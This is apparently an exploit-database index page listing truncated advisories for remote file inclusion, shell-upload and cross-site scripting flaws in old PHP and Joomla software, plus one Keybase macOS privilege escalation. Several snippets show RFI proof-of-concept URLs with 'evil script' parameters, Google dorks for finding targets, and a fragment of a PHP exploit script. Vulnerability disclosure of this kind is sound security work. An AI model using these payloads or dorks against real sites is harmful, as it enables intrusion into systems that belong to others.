Keybase: Local privilege escalation bug using Keybase redirector on macOS

There's a local privilege escalation bug in the latest version of Keybase for macOS. The issue is in the process of launching keybase-redirector. The process works as follows: 1. Copy keybase-redirector binary to a root-only location 2. Check its signature 3. Launch the binary Code ref. Note the...

PHP Forge <= 3 beta 2 (cfg_racine) Remote File Inclusion Vulnerability

No description provided by source. \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ phpforge3b2cfgracine Remote File Inclusion Vulnerability ------------------------ Virangar Security Team www.virangar.org public www.virangar.net priv8 -------- Discoverd By : Snake...

IncCMS Core <= 1.0.0 (settings.php) Remote File Include Vulnerability

No description provided by source. ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ ++...

Bosdates 3.x/4.0 Payment.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/19191/info Bosdates is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious PH...

EZPX Photoblog 1.2 beta Remote File Inclusion Exploit

No description provided by source. EZPX photoblog 1.2 beta Remote Include Exploit Vendor Url: http://ezpx.org/ Found by sh00t0ut Expl: http://victim/system/application/views/public/commentform.php?tplbasedir=evil script...

See-Commerce <= 1.0.625 (owimg.php3) Remote Include Vulnerability

No description provided by source. See-Commerce Remote File Inclusion CreW: ToXiC Bug Found by Drago84 Source Code: http://freshmeat.net/redir/seecommerce/14016/urlzip/sc-1.0.625.zip Problem Is: require$path./ow.inc; Page Affect: http://site/see-commerce directory/owimg.php3?path=evil script Grea...

Sports PHool <= 1.0 Remote File Include Exploit

Exploit for php platform in category web applications " ."target:" ."evil:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $target.$evil, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while...

uploadv1_2 Script Remote Shell Upload Vulnerability

Exploit for php platform in category web applications =================================================== uploadv12 Script Remote Shell Upload Vulnerability =================================================== + Date: 02/07/2010 + Author: Mr-ViRuS Homepage: SOON = Vendor : http://seraphimtech.net...

Datei Upload Script 1.09 Remote Shell Upload

InformatioN Title : Datei Upload Script v 1.09 Remote file upload Vulnerability Author : Mr.Benladen version : 1.09 Homepage: http://www.joomlaservice.info Or http://www.dz4all.com Vendor : http://www.php-space.info/bilder-upload-script/ Download:...

Datei Upload Script v 1.09 Remote file upload Vulnerability

Exploit for php platform in category web applications =========================================================== Datei Upload Script v 1.09 Remote file upload Vulnerability =========================================================== InformatioN Title? ?? : Datei Upload Script v 1.09 Remote file...

Joomla! Component JE Awd Song - Persistent Cross-Site Scripting

Joomla! Component JE Awd Song - Persistent Cross-Site Scripting Critical Level : HIGH Vendor Url : http://joomlaextensions.co.in/component/awdsong/ Google Dork: inurl:comawdsong Price:$37.00 Author : Sid3^effects aKa HaRi special thanks to : r0073r inj3ct0r.com,L0rd...

PHPAuctionSystem - Arbitrary File Upload

PHPAuctionSystem - Arbitrary File Upload Name : PHPAuctionSystem Upload Vulnerability Date : june, 16 2010 Vendor url :http://www.phpauctions.info/ Critical Level : HIGH Author : Sid3^effects aKa HaRi special thanks to : r0073r inj3ct0r.com,L0rd CruSad3r,MaYur,gunslinger greetz to :All ICW...

EZPX Photoblog 1.2 Beta - Remote File Inclusion

EZPX Photoblog 1.2 Beta - Remote File Inclusion EZPX photoblog 1.2 beta Remote Include Exploit Vendor Url: http://ezpx.org/ Found by sh00t0ut Expl: http://victim/system/application/views/public/commentform.php?tplbasedir=evil script...

Nakid CMS 0.5.2 - Remote File Inclusion

Nakid CMS 0.5.2 - Remote File Inclusion Nakid CMS 0.5.2 Remote Include Exploit Found by sh00t0ut Expl: http://victim/modules/catalog/uploadphoto.php?coresystempath=evil script...

Holiday Travel Portal - Arbitrary File Upload

Holiday Travel Portal - Arbitrary File Upload ========================================================== Holiday Travel Portal Upload Vulnerability ========================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\...

Joomla DJ Classifieds Shell Upload

Exploit Title:Upload Vulnerability in comdjclassifieds Version: Web Application vendor :http://dj-extensions.com/ Date: 2 apr,2010 Dork:inurl:comdjclassifieds Author:Sid3^effects Code : ooooo .oooooo. oooooo oooooo oooo 888' d8P' Y8b 888. 888. .8' 888 888 888. .8888. .8' 888 888 888 .8'888. .8' 8...

Joomla! Component com_djClassifieds 0.9.1 - Arbitrary File Upload

Joomla! Component comdjClassifieds 0.9.1 - Arbitrary File Upload Dork:inurl:comdjclassifieds ooooo .oooooo. oooooo oooooo oooo 888' d8P' Y8b 888. 888. .8' 888 888 888. .8888. .8' 888 888 888 .8'888. .8' 888 888 888.8' 888.8' 888 88b ooo 888' 888' o888o Y8bood8P' 8' 8'...

Socialware 2.2 - Upload Cross-Site Scripting

Socialware 2.2 - Upload Cross-Site Scripting Exploit Title:Upload Vulnerability and XSS in socialware V2.2 www.iscripts.com Version: Web Application vendor :www.iscripts.com Date: 29 apr,2010 Dork:Powered by iScripts SocialWare Author:Sid3^effects Code :...

socialware V2.2 XSS / Upload Vulnerability

Exploit for php platform in category web applications ========================================== socialware V2.2 XSS / Upload Vulnerability ========================================== Exploit Title:Upload Vulnerability and XSS in socialware V2.2 www.iscripts.com Version: Web Application vendor...

Joomla JE Property Finder Shell Upload

Exploit Title: Upload Vulnerability in JE Property Finder component Version: Web Application Date: 28 apr,2010 Author:Sid3^effects Code : -------------------------------------------------------------------------------------- Sid3^effects aKa HaRi Greetz to all Andhra Hackers and ICW MemebersIndia...